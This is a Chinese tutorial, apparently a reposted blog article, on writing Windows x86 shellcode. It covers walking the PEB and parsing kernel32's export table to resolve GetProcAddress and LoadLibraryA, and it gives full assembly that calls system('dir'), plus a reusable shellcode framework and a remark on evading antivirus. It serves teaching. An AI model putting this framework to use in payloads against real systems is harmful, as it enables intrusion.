shellcode编写指南

  • A+
所属分类:逆向工程


点击蓝字关注我哦






前言

linux的shellcode就不用说了,直接通过一个int 0x80系统调用,指定想调用的函数的系统调用号(syscall),传入调用函数的参数,即可,懂的都懂。

在windows中,没有像int 0x80系统调用功能来找相应的函数,但是也有syscall这样的系统调用,过AV奇效,这里主要介绍的是如何手动去通过GetProcAddress去查找某个函数的地址,然后进行调用,这里需要一丢丢c基础和汇编基础。


原理

在windows中,我们需要如下步骤去找到相应的函数,进行调用:

1)找到PEB表,获取Kernel32.dll base地址
2)通过kernel32.dll PE文件格式找到导出表的地址
3)通过导出表定位GetProcAddress的RVA
4)通过GetProcAddress函数找到LoadLibraryA函数地址
5)通过这GetProcAddress和LoadLibraryA两个函数来加载dll文件和查找函数以供使用

先了解几个基本概念,api函数,动态链接库文件。

2.1 kernel32.dll

定义:kernel32.dll是windows中非常重要的32位动态链接库文件,工作在ringo,属于内核级文件,它控制着系统的内存管理、数据的输入输出操作和中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域,提供了954个可供调用api。

2.2 GetProcAddress

定义:GetProcAddress是一个计算机函数,功能是检索指定的动态链接库(DLL)中的输出库函数地址

FARPROC GetProcAddress(HMODULE hModule, // DLL模块句柄,可通过LoadLibrary、AfxLoadLibrary 或者GetModuleHandle函数返回此句柄。LPCSTR lpProcName // 函数名);

如果函数查找成功,返回值是DLL中的输出函数地址,如果函数调用失败,返回值是NULL

动态链接库DLL的进程会调用GetProcAddress来获取DLL中导出函数的地址。

2.3 LoadLibrary

将指定的模块加载到调用进程的地址空间中。

HMODULE LoadLibraryA(  LPCSTR lpLibFileName );//模块的名称,可以是库模块(.dll文件)或可执行模块(.exe文件)。

如果函数成功,则返回值是模块的句柄,如果函数失败,则返回值为NULL。

2.4 PE文件格式

PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件

shellcode编写指南

不多讲了,一张图就行,PE文件格式内容要说多,专门有一本书来讲PE文件结构,要说简单,一张图就能概括,如果不是为了去写壳,脱壳.......根本不需要知道那么多。

2.5 PEB

在Windows操作系统中,PEB是一个位于所有进程内存中固定位置的结构体,此结构体包含关于进程的有用信息,如可执行文件加载到内存的位置,模块列表(DLL),指示进程是否被调试的标志,还有许多其他的信息。

微软定义:

typedef struct _PEB {  BYTE                          Reserved1[2];  BYTE                          BeingDebugged;  BYTE                          Reserved2[1];  PVOID                         Reserved3[2];  PPEB_LDR_DATA                 Ldr;//偏移4+2*4  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;  PVOID                         Reserved4[3];  PVOID                         AtlThunkSListPtr;  PVOID                         Reserved5;  ULONG                         Reserved6;  PVOID                         Reserved7;  ULONG                         Reserved8;  ULONG                         AtlThunkSListPtr32;  PVOID                         Reserved9[45];  BYTE                          Reserved10[96];  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;  BYTE                          Reserved11[128];  PVOID                         Reserved12[1];  ULONG                         SessionId;} PEB, *PPEB;

在64位上的定义:

typedef struct _PEB {    BYTE Reserved1[2];    BYTE BeingDebugged;    BYTE Reserved2[21];    PPEB_LDR_DATA LoaderData;    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;    BYTE Reserved3[520];    PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;    BYTE Reserved4[136];    ULONG SessionId;} PEB;

我们重点关注结构体PEB_LDR_DATA里面的内容,包含如下信息(该结构包含有关进程的已加载模块的信息):

typedef struct _PEB_LDR_DATA {  BYTE       Reserved1[8];//保留供操作系统内部使用。  PVOID      Reserved2[3];//保留供操作系统内部使用  LIST_ENTRY InMemoryOrderModuleList;//双向链接列表的头部,该列表包含该过程的已加载模块。列表中的每个项目都是指向LDR_DATA_TABLE_ENTRY结构的指针,偏移为8+3x4} PEB_LDR_DATA, *PPEB_LDR_DATA;

LIST_ENTRY结构是一个简单的双向链表,包含指向下一个元素(Flink)的指针和指向上一个元素的指针(Blink)

typedef struct _LIST_ENTRY {   struct _LIST_ENTRY *Flink;   struct _LIST_ENTRY *Blink;} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

我们需要通过LDR_DATA_TABLE_ENTRY结构体来获取已加载DLL的信息结构体为:

typedef struct _LDR_DATA_TABLE_ENTRY{    LIST_ENTRY InLoadOrderLinks; /* 0x00 */    LIST_ENTRY InMemoryOrderLinks; /* 0x08,这里是Flink指向的地方 */     LIST_ENTRY InInitializationOrderLinks; /* 0x10 */    PVOID DllBase; /* 0x18 */    PVOID EntryPoint;    ULONG SizeOfImage;    UNICODE_STRING FullDllName; /* 0x24 */    UNICODE_STRING BaseDllName; /* 0x28 */    ULONG Flags;    WORD LoadCount;    WORD TlsIndex;    union    {         LIST_ENTRY HashLinks;         struct         {              PVOID SectionPointer;              ULONG CheckSum;         };    };    union    {         ULONG TimeDateStamp;         PVOID LoadedImports;    };    _ACTIVATION_CONTEXT * EntryPointActivationContext;    PVOID PatchInformation;    LIST_ENTRY ForwarderLinks;    LIST_ENTRY ServiceTagLinks;    LIST_ENTRY StaticLinks;} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

InMemoryOrderModuleList字段是一个指针,指向LDR_DATA_TABLE_ENTRY 结构体上的LIST_ENTRY字段,但是它不是指向LDR_DATA_TABLE_ENTRY 起始位置的指针,而是指向这个结构的InMemoryOrderLinks字段。



编写shellcode

3.1 c++库文件配合内联汇编

先来针对指定系统的shellcode的编写,指定系统的,我们首先通过LoadLibraryA函数导入相应的dll文件,获得一个dll句柄,在把这个dll句柄当作参数传入GetProcAddress 搜索查找指定函数,返回该函数的地址,然后通过函数的地址来调用函数,用c++代码内联汇编实现

#include<Windows.h>#include<iostream>#include<string.h>using namespace std;int main(){  string cmd = "dir";  HINSTANCE Libhandle = LoadLibraryA("msvcrt.dll"); //加载dll文件  if (Libhandle == NULL)  {    return 0;  }  //system("dir");  cout <<"msvcrt Address = "<< Libhandle << endl;  LPTSTR getaddr = (LPTSTR)GetProcAddress(Libhandle, "system");//获得system函数的地址  cout << "system Address = " << getaddr << endl;  //通过汇编代码来调用函数    _asm{            //system("dir"); //64 69 72            pushad            pushfd            xor ebx, ebx
mov ebx,0x726964 ;这里需要注意数据入栈的顺序 push ebx
push esp
mov ebx, getaddr call ebx
add esp,8
popfd popad } return 0;}

会得到这个效果

shellcode编写指南

但是这是c++代码去加载相应头文件,直接调用LoadLibraryA来加载,具有局限性,无法移植的shellcode,且那段内联汇编代码必须在导入相应链接库得情况才能执行,不然会报错。

这里补充一点知识:

shellcode编写指南
shellcode编写指南

其实程序最开始加载并不是从main函数的,main函数也是别的函数调用执行的。

1.首先操作系统必须的创建进程,然后jmp到这个进程的入口函数

2.然后经过一系列的初始化

3.完成初始化之后,调用main函数,开始执行程序主体。

所以说,我们这里我们直接用BinaryNinja打开,找到可执行文件的入口点并不是main函数入口点

shellcode编写指南

他会先从初始化函数开始(这里是编译器给我加的),一直执行到我们mian函数

3.2 从PEB表查找LoadLibraryA,GetProcAddress

在上面讲了,虽然我们通过c++库拿到了LoadLibraryA和GetProcAddress函数,但是在实际的情况下并不实用,因为实际情况下并没有c++库给我们调用,所以这时候就体现了PEB表的优势在,因为PEB表是位于所有进程内存中固定位置的结构体,所以我们在任意进程里都能找到PEB表,通过PEB表找到kernel32.dll,从Kernel32.dll中找到LoadLibraryA,和GetProcAddress这个两个函数,这样就解决了可移植性的问题。

这里首先还得了解一个非常重要的概念,FS段寄存器,在我们介绍Kernel32.dll时候,说了工作在ringo,属于内核级文件,与之相对应的User32.dll 工作在ring3,属于用户级文件,这里就涉及了内核态和用户态,不讲深了,你只需要知道我们的程序虽然在用户层里运行,但是有时候也需要切换到内核状态。

而FS寄存器的改变,就意味着程序在R3和R0之间进行切换(都是在R0下给FS赋不同值的),在R3下:FS段寄存器的值是0x3B,在R0下:FS段寄存器的值是0x30,注意这里0x30和0x3B 是代表指向GDT表中的不同段。


shellcode编写指南
shellcode编写指南

当运行在R3下时,FS指向的段是GDT中的0x3B段.该段的长度为4K,基地址为当前线程的线程环境块(TEB),所以该段也被称为“TEB段”

当运行在R0下时, FS指向的段是GDT中的0x30段.该段的长度也为4K,基地址为0xFFDFF000.该地址指向系统的处理器控制区域(KPCR)


从以上可得知,我们如何去找PEB的基地址?

在R3状态下的FS寄存器存的值就是PEB表基地址,加上偏移量0X30,就得到了PEB的地址,上汇编代码。

mov eax,fs:[ecx + 0x30];PEB

找到了PEB表,然后通过PEB加上偏移0xC得到PPEB_LDR_DATA [Ldr]结构体的地址

mov eax, [eax + 0xc] ;PEB->Ldr

再偏移0x14,找到InMemoryOrderLinks

mov esi,[eax+0x14];PEB->Ldr->InMemoryOrderModuleList

现在我们的寄存器放的值就是InMemoryOrderModuleList地址哟,但是我们想要的kernel32.dll处于第三个模块(固定位置,第三),我们前面讲了在LIST_ENTRY结构体中,可以通过Flink和Blink指针进行模块的切换,而InMemoryOrderModuleList便是LIST_ENTRY结构体指针,而InMemoryOrderModuleList指向的就是LIST_ENTRY结构体中的InMemoryOrderLinks(Flink指针)字段,我们通过InMemoryOrderLinks(Flink指针)字段来遍历到Kernel32.dll模块。


shellcode编写指南
shellcode编写指南

lodsd指令:会把esi寄存器指向的地址读取双字,然后把结果存放在eax寄存器

xchg指令:交换寄存器中的值


lodsd; 读取第二个模块的地址xchg eax,esilodsd;读取第三模块的地址mov ebx,[eax+0x10];获得kernel32.dllbase地址push ebx

因为InMemoryOrderLinks在LIST_ENTRY偏移为0x8,而dllbase为0x18,所以InMemoryOrderLinks到dllbase只需要偏移0x10,这里我们就找到了kernel32.dll base地址。

如何通过kernel32.dll地址找到 GetProcAddress函数地址?

这里需要解析kernel32.DLL文件的PE头找到导出表(前面就说了,dll文件也是PE文件格式),需要找到PE头,在PE文件结构中,是用IMAGE_DOS_HEADER结构体来定义DOS文件头

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header    WORD   e_magic;             // 00000000  4D 5A,Magic number    WORD   e_cblp;             // 00000002  90 00,Bytes on last page of file    WORD   e_cp;               // 00000004  03 00,Pages in file    WORD   e_crlc;            // 00000006  00 00,Relocations    WORD   e_cparhdr;           // 00000008  04 00,Size of header in paragraphs    WORD   e_minalloc;        // 0000000A  00 00,Minimum extra paragraphs needed    WORD   e_maxalloc;          // 0000000C  FF FF,Maximum extra paragraphs needed    WORD   e_ss;                // 0000000E  00 00,Initial (relative) SS value    WORD   e_sp;             // 00000010  B8 00,Initial SP value    WORD   e_csum;          // 00000012  00 00,Checksum    WORD   e_ip;                // 00000014  00 00,Initial IP value    WORD   e_cs;                // 00000016  00 00,Initial (relative) CS value    WORD   e_lfarlc;        // 00000018  40 00,File address of relocation table    WORD   e_ovno;           // 0000001A  00 00,Overlay numberWORD   e_res[4];            // 0000001C  00 00 00 00,Reserved words        // 00000020  00 00 00 00    WORD   e_oemid;             // 00000024  00 00,OEM identifier (for e_oeminfo)    WORD   e_oeminfo;           // 00000026  00 00,OEM information; e_oemid specificWORD   e_res2[10];          // 00000028  00 00 00 00,Reserved words        // 0000002C  00 00 00 00        // 00000030  00 00 00 00        // 00000034  00 00 00 00        // 00000038  00 00 00 00    LONG    e_lfanew;           // 0000003C  F8 00 00 00,File address of new exe header} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

其中有用的两个字段,分别是e_magic和e_lfanew,一个是dos 签名:标志这是dos头,一个记载PE头的在文件中偏移,我们要拿到e_lfanew值,通过它来找到NT文件头,这里偏移量为0x3c

mov edx,[ebx+0x3c];e_lfanewadd edx,ebx;加上基地址,得到了PEheader地址

来看看NT文件头

typedef struct _IMAGE_NT_HEADERS64 {    DWORD Signature;//Signature PE文件标识,被定义为00004550    IMAGE_FILE_HEADER FileHeader;//FileHeader,该结构指向IMAGE_FILE_HEADER。    IMAGE_OPTIONAL_HEADER64 OptionalHeader;} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;typedef struct _IMAGE_NT_HEADERS {    DWORD Signature;    IMAGE_FILE_HEADER FileHeader;    IMAGE_OPTIONAL_HEADER32 OptionalHeader;//OptionalHeader,该结构指向_IMAGE_OPTIONAL_HEADER32,Windows操作系统可执行文件的大部分特性均在这个结构里面呈现} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;#ifdef _WIN64typedef IMAGE_NT_HEADERS64                  IMAGE_NT_HEADERS;typedef PIMAGE_NT_HEADERS64                PIMAGE_NT_HEADERS;#elsetypedef IMAGE_NT_HEADERS32                  IMAGE_NT_HEADERS;typedef PIMAGE_NT_HEADERS32                PIMAGE_NT_HEADERS;#endif

这里有两种,一种是32位的,一种是64位的,因为我这里是拿的c++中里面的库里面的结构体定义,直接复制粘贴过来了,结构上大体一样,这里OptionalHeader 指向着选项头

来看看选项头:

typedef struct _IMAGE_OPTIONAL_HEADER {     WORD    Magic;                   // 标志字, ROM 映像(0107h),普通可执行文件(010Bh)/*Magic字段 :说明文件的类型,如果为010Bh,表面文件为PE32;如果为0107h,表明文件为ROM映像;如果为20Bh,表面文件为PE64.*/     BYTE    MajorLinkerVersion;      // 链接程序的主版本号     BYTE    MinorLinkerVersion;      // 链接程序的次版本号     DWORD   SizeOfCode;              // 所有含代码的节的总大小     DWORD   SizeOfInitializedData;   // 所有含已初始化数据的节的总大小     DWORD   SizeOfUninitializedData; // 所有含未初始化数据的节的大小     DWORD   AddressOfEntryPoint;     // 程序执行入口RVA     DWORD   BaseOfCode;              // 代码的区块的起始RVA     DWORD   BaseOfData;              // 数据的区块的起始RVA       DWORD   ImageBase;               // 程序的首选装载地址/*ImageBase字段 指出文件的优先装入地址。也就是说当文件被执行时,如果可能的话,Windows优先将文件装入到由ImageBase字段指定的地址中。只有指定的地址已经被**模块使用时,文件才被装入到**地址中。链接器产生可执行文件的时候对应这个地址来生成机器码,所以当文件被装入这个地址时不需要进行重定位操作,装入的速度最快。如果文件被装载到**地址的话,将不得不进行重定位操作,这样就要慢一点。对于EXE文件来说,由于每个文件总是使用独立的虚拟地址空间,优先装入地址不可能被**模块占据,所以EXE总是能够按照这个地址装入。这也意味着EXE文件不再需要重定位信息。对于DLL文件来说,由于多个DLL文件全部使用宿主EXE文件的地址空间,不能保证优先装入地址没有被**的DLL使用,所以DLL文件中必须包含重定位信息以防万一。因此,在前面介绍的 IMAGE_FILE_HEADER 结构的 Characteristics 字段中,DLL 文件对应的 IMAGE_FILE_RELOCS_STRIPPED 位总是为0,而EXE文件的这个标志位总是为1。在链接的时候,可以通过对link.exe指定/base:address选项来自定义优先装入地址,如果不指定这个选项的话,一般EXE文件的默认优先装入地址被定为00400000h,而DLL文件的默认优先装入地址被定为10000000h。*/      DWORD   SectionAlignment;        // 内存中的区块的对齐大小     DWORD   FileAlignment;    // 文件中的区块的对齐大小    WORD    MajorOperatingSystemVersion;  // 要求操作系统最低版本号的主版本号    WORD    MinorOperatingSystemVersion;  // 要求操作系统最低版本号的副版本号
WORD MajorImageVersion; // 本PE文件映像的主版本号 WORD MinorImageVersion; // 本PE文件映像的次版本号 WORD MajorSubsystemVersion; // 运行所需要的子系统的主版本号 WORD MinorSubsystemVersion; // 运行所需要的子系统的次版本号 DWORD Win32VersionValue; // 子系统版本号,暂时保留未用。必须设置为0 DWORD SizeOfImage; // 映像装入内存后的总尺寸 +54h DWORD SizeOfHeaders; // 所有头 + 区块表的尺寸大小
DWORD CheckSum; // 映像的校检和 +5Ch WORD Subsystem; // 可执行文件期望的子系统 表3-4 WORD DllCharacteristics; // Dll文件属性 +60h 表3-6
DWORD SizeOfStackReserve; // 初始化时保留的栈大小 DWORD SizeOfStackCommit; // 初始化时实际提交的栈大小 +68h
DWORD SizeOfHeapReserve; // 初始化时保留的堆大小 DWORD SizeOfHeapCommit; // 初始化时实际提交的堆大小 +70h /*SizeOfHeapCommit字段:初始化时提交的堆大小,在进程初始化时设定的堆所占用的内存空间。默认值为1页。*/ DWORD LoaderFlags; // 加载标志 与调试有关,默认为 0 DWORD NumberOfRvaAndSizes; // 下边数据目录的项数,这个字段自Windows NT 发布以来一直是16 IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; // 数据目录表/*DataDirectory字段 这个字段可以说是最重要的字段之一,它由16个相同的IMAGE_DATA_DIRECTORY结构组成。虽然PE文件中的数据是按照装入内存后的页属性归类而被放在不同的节中的,但是这些处于各个节中的数据按照用途可以被分为导出表、导入表、资源、重定位表等数据块,这16个IMAGE_DATA_DIRECTORY结构就是用来定义多种不同用途的数据块的。*/} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

这里的DataDirectory字段是我们需要注意的,因为在这个字段中有导出表的数据块,算算该字段的偏移,0x78

mov edx, [edx + 0x78]add edx, ebx;export table addr

我们来看看数据目录,IMAGE_DATA_DIRECTORY结构体:

typedef struct _IMAGE_DATA_DIRECTORY {  DWORD VirtualAddress;//RVA  DWORD Size;} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

定义非常简单,但它仅仅指出了某种数据块的位置和长度,看一下索引所代表的含义:

索  引 索引值在Windows.inc中的预定义值 对应的数据块
0 IMAGE_DIRECTORY_ENTRY_EXPORT 导出表
1 IMAGE_DIRECTORY_ENTRY_IMPORT 导入表
2 IMAGE_DIRECTORY_ENTRY_RESOURCE 资源
3 IMAGE_DIRECTORY_ENTRY_EXCEPTION 异常(具体资料不详)
4 IMAGE_DIRECTORY_ENTRY_SECURITY 安全(具体资料不详)
5 IMAGE_DIRECTORY_ENTRY_BASERELOC 重定位表
6 IMAGE_DIRECTORY_ENTRY_DEBUG 调试信息
7 IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 版权信息
8 IMAGE_DIRECTORY_ENTRY_GLOBALPTR 具体资料不详
9 IMAGE_DIRECTORY_ENTRY_TLS Thread Local Storage
10 IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 具体资料不详
11 IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 具体资料不详
12 IMAGE_DIRECTORY_ENTRY_IAT 导入函数地址表
13 IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 具体资料不详
14 IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 具体资料不详
15 未使用

可以看到,我们要的导出表,就在第一个索引,我们必须得获得获得导出表的地址,但是前面的数据目录是记录着导出表的虚拟地址,而实际的结构如下:

typedef struct _IMAGE_EXPORT_DIRECTORY {    DWORD   Characteristics;       DWORD   TimeDateStamp; //时间戳.  编译的时间. 把秒转为时间.可以知道这个DLL是什么时候编译出来的.    WORD    MajorVersion;    WORD    MinorVersion;    DWORD   Name;           //指向该导出表文件名的字符串,也就是这个DLL的名称    DWORD   Base;           // 导出函数的起始序号    DWORD   NumberOfFunctions;     //所有的导出函数的个数    DWORD   NumberOfNames;         //以名字导出的函数的个数    DWORD   AddressOfFunctions;     // 导出的函数地址的地址表  RVA  也就是 函数地址表      DWORD   AddressOfNames;         // 导出的函数名称表的  RVA      也就是 函数名称表    DWORD   AddressOfNameOrdinals;  // 导出函数序号表的RVA         也就是 函数序号表} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

但是通过加偏移0x24,当然这是相对于DataDirectory这个基地址来说的,这里我们需要通过AddressOfNames这个指针数组来遍历kernel32.dll加载载的函数名称,来找到GetProcAddress等函数。

mov esi, [edx + 0x20] ; AddressOfNames 偏移 add esi, ebx; Names table addrxor ecx,ecx;ecx清零
Get_Function_ProcAddress:inc ecx;这里来计数,我们需要知道GetProcAddress的索引lodsdadd eax,ebxcmp dword ptr[eax],0x50746547;比较前四个字节GetP字符串的ascilljnz Get_Function_ProcAddress;没有找到就继续执行cmp dword ptr[eax + 0x4], 0x41636f72 ; 比较中间四个字节rocA字符串的ascilljnz Get_Function_ProcAddresscmp dword ptr[eax + 0x8], 0x65726464 ; 比较中间四个字节ddre字符串的ascilljnz Get_Function_ProcAddress;这里差不多就稳了

此时,我们只是找到GetProcAddress函数的索引,必须找到索引相对应的序号,但是注意序号都是从0开始的,这个后面会注意到,会自减1。

此时,我们只是通过索引来找到GetProcAddress函数的序号,然后我们可以利用序号来找到函数的实际地址:

mov esi, [edx + 0x24]; AddressOfNameOrdinals字段的偏移add esi, ebx; AddressOfNameOrdinals虚拟地址mov cx, [esi + ecx * 2]  ; 名称序号数组以2字节大小为单位的数字dec ecx;自减,因为实际是以0开始的mov esi, [edx + 0x1c]    ; AddressOfFunctions 字段偏移add esi, ebx             ;AddressOfFunctions地址mov edx, [esi + ecx * 4] ;取出GetProcAddress RVA偏移add edx, ebx             ;  GetProcAddress地址

总结一下在导出表查找函数的顺序:



shellcode编写指南
shellcode编写指南

通过导出表AddressOfNames找到函数名称对应的索引 =》在AddressOfNameOrdinals表中找到索引对应的序号》通过序号在AddressOfFunctions找到对应的RVA偏移》加上基地址dll文件基地址和函数的RVA地址就得到了函数的RVA

如何获取LoadLibraryA函数地址?

因为我们已经获得了GetProcAddress地址,我们可以利用GetProcAddress(kernel32, “LoadLibraryA”)这样的方式来查找LoadLibraryA函数的地址,但是在着之前,我们需要保存我们刚找到的地址,在栈上保存数据是最明智的选择。

push edx;GetProcAddress of addr;然后进行函数调用push 0x0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Load 入栈函数参数push esp        ; "LoadLibrary"push ebx        ;kernel32.dll of addrcall edx;函数调用GetProcAddress(kernel32, “LoadLibraryA”)

注意:函数调用会把结果输出到eax寄存器中,那么eax中存储的就是LoadLibraryA函数的地址了

3.3  获取system函数地址

因为我们已经获取到LoadLibraryA函数地址,所以我们可以利用他来导入相应的库,然后通过GetProcAddress来获取system函数地址,但是我们也得先保持栈平衡,再来保存eax里的地址

add esp, 0x10    ; pop "LoadLibraryA"pop ecx         ; push eax        ; EAX = LoadLibraryA of addr
push 0x00push 0x00006c6c ;"ll"push 0x642e7472 ; "rt.d"push 0x6376736d ; "msvc"push esp ; "msvcrt.dll"call eax ; LoadLibrary("msvcrt.dll")add esp,0x10


注意:现在eax中将保存着msvcrt.dll动态链接库的基地址

然后我们通过GetProcAddress来获取system函数的地址:

mov edx,[esp+4];现在esp上是LoadLibraryA_addr esp+4是GetProcAddress esp+8是Kernel32.dll of addr,eax是msvcrt.dll addr
push 0x00006d65;"em"push 0x74737973;"syst"push esp;"system"push eax;call edx;add esp,0x10


注意:现在eax中保存着system函数的地址

然后进行函数调用:

            xor ebx, ebx            mov ebx,0x726964;"dir"            push ebx            push esp                call,eax            add esp,8

这里就基本上把shellcode完成了,但是还得把所有shellcode加在一起,还得调试更改:

;通过PEB表找到kernel32.dll base地址      xor ecx, ecx      mov eax, fs: [ecx + 0x30]       mov eax, [eax + 0xc]      mov esi, [eax + 0x14]      lodsd      xchg eax, esi      lodsd      mov ebx, [eax + 0x10]      push ebx ;kernel32.dll of 入栈;通过kernel32.dll 的PE文件结构,找到AddressOfNames      mov edx, [ebx + 0x3c]      add edx, ebx      mov edx, [edx + 0x78]      add edx, ebx      mov esi, [edx + 0x20]      add esi, ebx      xor ecx, ecx;通过addressofNames数组遍历得到GetProcAddress的索引Get_Function_GetProcAddress:     inc ecx;      lodsd      add eax,ebx      cmp dword ptr[eax],0x50746547      jnz Get_Function_GetProcAddress      cmp dword ptr[eax + 0x4], 0x41636f72      jnz Get_Function_GetProcAddress      cmp dword ptr[eax + 0x8], 0x65726464      jnz Get_Function_GetProcAddress;通过AddressOfNameOrdinals加上索引,获得序号      mov esi, [edx + 0x24]      add esi, ebx      mov cx, [esi + ecx * 2]      dec ecx;通过AddressOfFunctions遍历序号获得GetProcAddress函数的地址      mov esi, [edx + 0x1c]          add esi, ebx                 mov edx, [esi + ecx * 4]       add edx, ebx      push edx ;GetProcAddress of addr入栈;通过Kernel32.dll of addr 和 Get   ProcAddress of addr 获得LoadLibraryA函数地址      push 0x0      push 0x41797261       push 0x7262694c       push 0x64616f4c       push esp              push ebx              call edx      add esp,0xc      pop ecx      push eax;LoadLibraryA of addr 入栈;导入msvcrt.dll文件      add esp, 0x10      push eax      xor ecx,ecx      push ecx      mov cx, 0x6c6c      push ecx      push 0x642e7472      push 0x6376736d      push esp      call eax;通过GetProcAddress函数,传入msvcrt.dll地址,找到system地址      add esp, 0x10;      mov edx, [esp + 0x4]      xor ecx, ecx      push ecx      mov ecx, 0x616E6F74      push ecx      push 0x6d65      push 0x74737973      push esp;      push eax;      call edx;      add esp,0x10;然后就是利用system函数去执行命令了      xor ebx, ebx      mov ebx, 0x726964      push ebx      push esp      call eax;注意栈平衡就行      add esp, 0x8      popfd      popad

这里我只是去调用system函数,其他函数可以类推,我们只要拿到了GetProcAddress和LoadLibraryA这两个函数的地址,然后就天高任鸟飞了,实际的shellcode可能实际就封装成一个函数调用了

通过调试,需要去除push 0x0 这样的汇编会出现x00这样的空字节,会截断字符串,所以用了一个push 寄存器来代替,再加上一个推出函数。

调试......................完整代码如下

#include<iostream>int main(){  _asm {    xor ecx, ecx    mov eax, fs: [ecx + 0x30]     mov eax, [eax + 0xc]    mov esi, [eax + 0x14]    lodsd    xchg eax, esi    lodsd    mov ebx, [eax + 0x10]    push ebx    mov edx, [ebx + 0x3c]    add edx, ebx    mov edx, [edx + 0x78]    add edx, ebx    mov esi, [edx + 0x20]    add esi, ebx    xor ecx, ecxGet_Function_GetProcAddress:    inc ecx    lodsd    add eax, ebx    cmp dword ptr[eax], 0x50746547    jnz Get_Function_GetProcAddress    cmp dword ptr[eax + 0x4], 0x41636f72    jnz Get_Function_GetProcAddress    cmp dword ptr[eax + 0x8], 0x65726464    jnz Get_Function_GetProcAddress    mov esi, [edx + 0x24]    add esi, ebx    mov cx, [esi + ecx * 2]    dec ecx    mov esi, [edx + 0x1c]    add esi, ebx    mov edx, [esi + ecx * 4]    add edx, ebx
xor ecx, ecx push edx push ecx push 0x41797261 push 0x7262694c push 0x64616f4c push esp push ebx call edx
add esp, 0x10 push eax xor ecx,ecx push ecx mov cx, 0x6c6c push ecx push 0x642e7472 push 0x6376736d push esp call eax;
add esp, 0x10; mov edx, [esp + 0x4] xor ecx, ecx push ecx mov ecx, 0x616E6F74 push ecx push 0x6d65 push 0x74737973 push esp; push eax; call edx; add esp,0x10
xor ebx, ebx mov ebx, 0x726964 push ebx push esp call eax add esp, 0xc
pop edx pop ebx mov ecx, 0x61737365 push ecx sub dword ptr[esp + 0x3], 0x61 push 0x636f7250 push 0x74697845 push esp push ebx call edx xor ecx, ecx push ecx call eax ret }}

从我们编写的汇编来看,代码逻辑很简单,就是要注意其中的堆栈平衡即可,从整个shellcode来看,前面找GetProcAddress和LoadLibraryA这两个函数是固定的,只要找到这两个,我们就能利用它们来查找任意的函数来执行,所以这里就总结出一个shellcode编写框架:

    xor ecx, ecx    mov eax, fs: [ecx + 0x30]     mov eax, [eax + 0xc]    mov esi, [eax + 0x14]    lodsd    xchg eax, esi    lodsd    mov ebx, [eax + 0x10]    push ebx    mov edx, [ebx + 0x3c]    add edx, ebx    mov edx, [edx + 0x78]    add edx, ebx    mov esi, [edx + 0x20]    add esi, ebx    xor ecx, ecxGet_Function_GetProcAddress:    inc ecx    lodsd    add eax, ebx    cmp dword ptr[eax], 0x50746547    jnz Get_Function_GetProcAddress    cmp dword ptr[eax + 0x4], 0x41636f72    jnz Get_Function_GetProcAddress    cmp dword ptr[eax + 0x8], 0x65726464    jnz Get_Function_GetProcAddress    mov esi, [edx + 0x24]    add esi, ebx    mov cx, [esi + ecx * 2]    dec ecx    mov esi, [edx + 0x1c]    add esi, ebx    mov edx, [esi + ecx * 4]    add edx, ebx
xor ecx, ecx push edx push ecx push 0x41797261 push 0x7262694c push 0x64616f4c push esp push ebx call edx
add esp, 0x10 push eax xor ecx,ecx push ecx mov cx, 0x6c6c; ll push ecx push 0x642e7472 push 0x6376736d push esp call eax; add esp, 0x10;
;这里填入想要执行的一些shellcode,这时候GetProcAddress和LoadLibraryA都在栈上,都可供调用。 ;esp LoadLibraryA_addr ;esp+4 GetProcAddress ;esp+8 Kernel32.dll
add esp, 0x8 pop edx pop ebx mov ecx, 0x61737365 push ecx sub dword ptr[esp + 0x3], 0x61 push 0x636f7250 push 0x74697845 push esp push ebx call edx xor ecx, ecx push ecx call eax ret

因为想着如果用调试器去截取shellcode很麻烦,然后自己用c++写了个小程序,用nasm来把汇编代码编译成机器码,实际效果:

在_asm文件中放入我们写好的shellcode,当然你也可以指定其他文件名:

shellcode编写指南

然后执行程序 asm_shellcode.exe  文件名  位数(可不指定,默认32)

shellcode编写指南

但是有一点得注意mov eax, fs: [ecx + 0x30] 会编译出错,必须得改成mov eax, [fs: ecx + 0x30] 才行,然后尝试加载shellcode执行

shellcode编写指南

这里就应该差不多了,一路套娃就行了。


shellcode编写指南

END

shellcode编写指南


shellcode编写指南


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
shellcode编写指南

shellcode编写指南
shellcode编写指南
shellcode编写指南
扫码关注我们
shellcode编写指南


扫码领hacker资料,常用工具,以及各种福利


shellcode编写指南

转载是一种动力 分享是一种美德

   

本文始发于微信公众号(Gamma实验室):shellcode编写指南

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: